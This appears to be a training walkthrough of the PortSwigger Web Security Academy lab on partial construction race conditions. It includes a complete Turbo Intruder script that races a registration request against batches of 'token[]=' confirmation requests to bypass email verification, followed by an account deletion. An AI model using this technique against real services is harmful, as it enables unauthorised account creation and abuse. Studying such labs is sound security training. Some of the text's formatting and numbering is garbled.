Labs Covered
This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy related to Race Conditions:
6 Partial construction race conditions
This lab shows how attackers can interfere with the partial creation of resources by triggering requests at specific times, gaining access to incomplete or inconsistent resource states.
LAB 6 - Partial construction race conditions
Lab Description
Overview
Session-Based Locking and Partial Construction Race Conditions
Session-based locking mechanisms, such as PHP’s native session handler module, process one request per session at a time, which can mask vulnerabilities. To detect these issues, send requests with different session tokens when sequential processing is observed.
Partial construction race conditions occur in applications where objects are created in multiple steps, creating a temporary exploitable state. For example, during user registration, a window exists between creating the user in the database and initializing their API key. This allows potential exploits by injecting input values that match uninitialized database values.
Framework-specific syntax can be leveraged for such exploits:
- In PHP,
param[]=foois equivalent toparam = ['foo']. - In Ruby on Rails, parameters with keys but no values are allowed.
Understanding these mechanisms is critical for identifying and mitigating security vulnerabilities.
Solution
1 Firstly, when we start lab we can see below page.
- The lab starts with a page that does not provide credentials. Attempt to create an account, but only emails with the
@ginandjuice.shopdomain are accepted.
-
Create an account using an
@ginandjuice.shopemail
4 Send the registration link to the email.
-
Intercept the email registration process and send it to Burp Repeater.
-
We can see the email which we have used to create email.
-
Note the email used for registration. Only one username and email are valid per registration. For a second registration, use a different email and username.
-
-
Inspect the page and analyze the JavaScript to understand the token generation process.
-
The URL shows a “confirm” endpoint to verify the email.
-
Clicking the confirmation link results in an “Incorrect token” error.
-
Send the confirm email request from HTTP history to Repeater.
-
Testing with a random token yields an “Invalid token” error.
-
Using no token results in a “Forbidden” message.
-
Using an empty array (
token[]=) results in an “Invalid Array” error, indicating the server accepts an empty array but performs server-side validation. -
Group the registration and token confirmation requests in Repeater.
-
Sending them in parallel shows the token request reaches the server first, followed by the registration request, which is invalid since token generation and validation occur after registration.
-
Confirm request arrives first.
-
Register request arrives later.
-
16 . Send the registration request to Turbo Intruder.
-
Select “Race Single Packet” and modify the request as needed.
18 . Copy the headers from the confirm token request and remove unnecessary headers.
- Use the following modified code in Turbo Intruder:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2)
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: phpsessionid=YOUR-SESSION-TOKEN
Content-Length: 0
'''
for attempt in range(20):
currentAttempt = str(attempt)
username = 'User' + currentAttempt
# Queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# Queue 50 confirmation requests - note that this may be sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# Send all queued requests for this attempt
engine.openGate(currentAttempt)
def handleResponse(req, interesting):
table.add(req)
20 . Set %s on the username field to fuzz the username.
-
The
User4(e.g.,han4) account is successfully registered due to the race condition. -
Log in with the
han4username and the password provided in the registration request. -
Delete the
carlosaccount, and the lab is solved.